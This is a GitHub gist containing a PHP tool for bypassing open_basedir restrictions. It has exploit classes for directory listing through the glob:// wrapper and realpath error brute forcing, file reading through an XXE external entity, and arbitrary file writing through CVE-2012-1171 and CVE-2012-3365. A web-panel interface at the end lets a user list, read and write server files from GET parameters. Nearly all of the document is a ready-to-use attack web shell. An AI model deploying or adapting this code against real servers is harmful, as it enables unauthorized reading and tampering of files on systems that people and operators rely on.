Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
open_basedir_bypass
<?php
/*
PHP open_basedir bypass collection
Works with >= PHP5
By /fd, @filedescriptor(https://twitter.com/filedescriptor)
*/
// Assistant functions
function getRelativePath($from, $to) {
// some compatibility fixes for Windows paths
$from = rtrim($from, '\/') . '/';
$from = str_replace('\\', '/', $from);
$to = str_replace('\\', '/', $to);
$from = explode('/', $from);
$to = explode('/', $to);
$relPath = $to;
foreach($from as $depth => $dir) {
// find first non-matching dir
if($dir === $to[$depth]) {
// ignore this directory
array_shift($relPath);
} else {
// get number of remaining dirs to $from
$remaining = count($from) - $depth;
if($remaining > 1) {
// add traversals up to first matching dir
$padLength = (count($relPath) + $remaining - 1) * -1;
$relPath = array_pad($relPath, $padLength, '..');
break;
} else {
$relPath[0] = './' . $relPath[0];
}
}
}
return implode('/', $relPath);
}
function fallback($classes) {
foreach ($classes as $class) {
$object = new $class;
if ($object->isAvailable()) {
return $object;
}
}
return new NoExploit;
}
// Core classes
interface Exploitable {
function isAvailable();
function getDescription();
}
class NoExploit implements Exploitable {
function isAvailable() {
return true;
}
function getDescription() {
return 'No exploit is available.';
}
}
abstract class DirectoryLister implements Exploitable {
var $currentPath;
function isAvailable(){}
function getDescription(){}
function getFileList(){}
function setCurrentPath($currentPath) {
$this->currentPath = $currentPath;
}
function getCurrentPath() {
return $this->currentPath;
}
}
class GlobWrapperDirectoryLister extends DirectoryLister {
function isAvailable() {
return stripos(PHP_OS, 'win') === FALSE && in_array('glob', stream_get_wrappers());
}
function getDescription() {
return 'Directory listing via glob pattern';
}
function getFileList() {
$file_list = array();
// normal files
$it = new DirectoryIterator("glob://{$this->getCurrentPath()}*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
// special files (starting with a dot(.))
$it = new DirectoryIterator("glob://{$this->getCurrentPath()}.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
return $file_list;
}
}
class RealpathBruteForceDirectoryLister extends DirectoryLister {
var $characters = 'abcdefghijklmnopqrstuvwxyz0123456789-_'
, $extension = array()
, $charactersLength = 38
, $maxlength = 3
, $fileList = array();
function isAvailable() {
return ini_get('open_basedir') && function_exists('realpath');
}
function getDescription() {
return 'Directory listing via brute force searching with realpath function.';
}
function setCharacters($characters) {
$this->characters = $characters;
$this->charactersLength = count($characters);
}
function setExtension($extension) {
$this->extension = $extension;
}
function setMaxlength($maxlength) {
$this->maxlength = $maxlength;
}
function getFileList() {
set_time_limit(0);
set_error_handler(array(__CLASS__, 'handler'));
$number_set = array();
while (count($number_set = $this->nextCombination($number_set, 0)) <= $this->maxlength) {
$this->searchFile($number_set);
}
sort($this->fileList);
return $this->fileList;
}
function nextCombination($number_set, $length) {
if(!isset($number_set[$length])) {
$number_set[$length] = 0;
return $number_set;
}
if($number_set[$length] + 1 === $this->charactersLength) {
$number_set[$length] = 0;
$number_set = $this->nextCombination($number_set, $length + 1);
} else {
$number_set[$length]++;
}
return $number_set;
}
function searchFile($number_set) {
$file_name = 'a';
foreach ($number_set as $key => $value) {
$file_name[$key] = $this->characters[$value];
}
// normal files
realpath($this->getCurrentPath() . $file_name);
// files with preceeding dot
realpath($this->getCurrentPath() . '.' . $file_name);
// files with extension
foreach ($this->extension as $extension) {
realpath($this->getCurrentPath() . $file_name . $extension);
}
}
function handler($errno, $errstr, $errfile, $errline) {
$regexp = '/File\((.*)\) is not within/';
preg_match($regexp, $errstr, $matches);
if (isset($matches[1])) $this->fileList[] = $matches[1];
}
}
abstract class FileWriter implements Exploitable {
var $filePath;
function isAvailable(){}
function getDescription(){}
function write($content){}
function setFilePath($filePath) {
$this->filePath = $filePath;
}
function getFilePath() {
return $this->filePath;
}
}
abstract class FileReader implements Exploitable {
var $filePath;
function isAvailable(){}
function getDescription(){}
function read(){}
function setFilePath($filePath) {
$this->filePath = $filePath;
}
function getFilePath() {
return $this->filePath;
}
}
// Assistant class for DOMFileWriter & DOMFileReader
class StreamExploiter {
var $mode, $filePath, $fileContent;
function stream_close() {
$doc = new DOMDocument;
$doc->strictErrorChecking = false;
switch ($this->mode) {
case 'w':
$doc->loadHTML($this->fileContent);
$doc->removeChild($doc->firstChild);
$doc->saveHTMLFile($this->filePath);
break;
default:
case 'r':
$doc->resolveExternals = true;
$doc->substituteEntities = true;
$doc->loadXML("<!DOCTYPE doc [<!ENTITY file SYSTEM \"file://{$this->filePath}\">]><doc>&file;</doc>", LIBXML_PARSEHUGE);
echo $doc->documentElement->firstChild->nodeValue;
}
}
function stream_open($path, $mode, $options, &$opened_path) {
$this->filePath = substr($path, 10);
$this->mode = $mode;
return true;
}
public function stream_write($data){
$this->fileContent = $data;
return strlen($data);
}
}
class DOMFileWriter extends FileWriter {
function isAvailable() {
return extension_loaded('dom') && (version_compare(phpversion(), '5.3.10', '<=') || version_compare(phpversion(), '5.4.0', '='));
}
function getDescription() {
return 'Write to and create a file exploiting CVE-2012-1171 (allow overriding). Notice the content should be in well-formed XML format.';
}
function write($content) {
// set it to global resource in order to trigger RSHUTDOWN
global $_DOM_exploit_resource;
stream_wrapper_register('exploit', 'StreamExploiter');
$_DOM_exploit_resource = fopen("exploit://{$this->getFilePath()}", 'w');
fwrite($_DOM_exploit_resource, $content);
}
}
class DOMFileReader extends FileReader {
function isAvailable() {
return extension_loaded('dom') && (version_compare(phpversion(), '5.3.10', '<=') || version_compare(phpversion(), '5.4.0', '='));
}
function getDescription() {
return 'Read a file exploiting CVE-2012-1171. Notice the content should be in well-formed XML format.';
}
function read() {
// set it to global resource in order to trigger RSHUTDOWN
global $_DOM_exploit_resource;
stream_wrapper_register('exploit', 'StreamExploiter');
$_DOM_exploit_resource = fopen("exploit://{$this->getFilePath()}", 'r');
}
}
class SqliteFileWriter extends FileWriter {
function isAvailable() {
return is_writable(getcwd())
&& (extension_loaded('sqlite3') || extension_loaded('sqlite'))
&& (version_compare(phpversion(), '5.3.15', '<=') || (version_compare(phpversion(), '5.4.5', '<=') && PHP_MINOR_VERSION == 4));
}
function getDescription() {
return 'Create a file with custom content exploiting CVE-2012-3365 (disallow overriding). Junk contents may be inserted';
}
function write($content) {
$sqlite_class = extension_loaded('sqlite3') ? 'sqlite3' : 'SQLiteDatabase';
mkdir(':memory:');
$payload_path = getRelativePath(getcwd() . '/:memory:', $this->getFilePath());
$payload = str_replace('\'', '\'\'', $content);
$database = new $sqlite_class(":memory:/{$payload_path}");
$database->exec("CREATE TABLE foo (bar STRING)");
$database->exec("INSERT INTO foo (bar) VALUES ('{$payload}')");
$database->close();
rmdir(':memory:');
}
}
// End of Core
?>
<?php
$action = isset($_GET['action']) ? $_GET['action'] : '';
$cwd = isset($_GET['cwd']) ? $_GET['cwd'] : getcwd();
$cwd = rtrim($cwd, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
$directorLister = fallback(array('GlobWrapperDirectoryLister', 'RealpathBruteForceDirectoryLister'));
$fileWriter = fallback(array('DOMFileWriter', 'SqliteFileWriter'));
$fileReader = fallback(array('DOMFileReader'));
$append = '';
?>
<style>
#panel {
height: 200px;
overflow: hidden;
}
#panel > pre {
margin: 0;
height: 200px;
}
</style>
<div id="panel">
<pre id="dl">
open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span>
<form style="display:inline-block" action="">
<fieldset><legend>Directory Listing:</legend>Current Directory: <input name="cwd" size="100" value="<?php echo $cwd; ?>"><input type="submit" value="Go">
<?php if (get_class($directorLister) === 'RealpathBruteForceDirectoryLister'): ?>
<?php
$characters = isset($_GET['characters']) ? $_GET['characters'] : $directorLister->characters;
$maxlength = isset($_GET['maxlength']) ? $_GET['maxlength'] : $directorLister->maxlength;
$append = "&characters={$characters}&maxlength={$maxlength}";
$directorLister->setMaxlength($maxlength);
?>
Search Characters: <input name="characters" size="100" value="<?php echo $characters; ?>">
Maxlength of File: <input name="maxlength" size="1" value="<?php echo $maxlength; ?>">
<?php endif; ?>
Description : <strong><?php echo $directorLister->getDescription(); ?></strong>
</fieldset>
</form>
</pre>
<?php
$file_path = isset($_GET['file_path']) ? $_GET['file_path'] : '';
?>
<pre id="rf">
open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span>
<form style="display:inline-block" action="">
<fieldset><legend>Read File :</legend>File Path: <input name="file_path" size="100" value="<?php echo $file_path; ?>"><input type="submit" value="Read">
Description: <strong><?php echo $fileReader->getDescription(); ?></strong><input type="hidden" name="action" value="rf">
</fieldset>
</form>
</pre>
<pre id="wf">
open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span>
<form style="display:inline-block" action="">
<fieldset><legend>Write File :</legend>File Path : <input name="file_path" size="100" value="<?php echo $file_path; ?>"><input type="submit" value="Write">
File Content: <textarea cols="70" name="content"></textarea>
Description : <strong><?php echo $fileWriter->getDescription(); ?></strong><input type="hidden" name="action" value="wf">
</fieldset>
</form>
</pre>
</div>
<a href="#dl">Directory Listing</a> | <a href="#rf">Read File</a> | <a href="#wf">Write File</a>
<hr>
<pre>
<?php if ($action === 'rf'): ?>
<plaintext>
<?php
$fileReader->setFilePath($file_path);
echo $fileReader->read();
?>
<?php elseif ($action === 'wf'): ?>
<?php
if (isset($_GET['content'])) {
$fileWriter->setFilePath($file_path);
$fileWriter->write($_GET['content']);
echo 'The file should be written.';
} else {
echo 'Something goes wrong.';
}
?>
<?php else: ?>
<ol>
<?php
$directorLister->setCurrentPath($cwd);
$file_list = $directorLister->getFileList();
$parent_path = dirname($cwd);
echo "<li><a href='?cwd={$parent_path}{$append}#dl'>Parent</a></li>";
if (count($file_list) > 0) {
foreach ($file_list as $file) {
echo "<li><a href='?cwd={$cwd}{$file}{$append}#dl'>{$file}</a></li>";
}
} else {
echo 'No files found. The path is probably not a directory.';
}
?>
</ol>
<?php endif; ?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.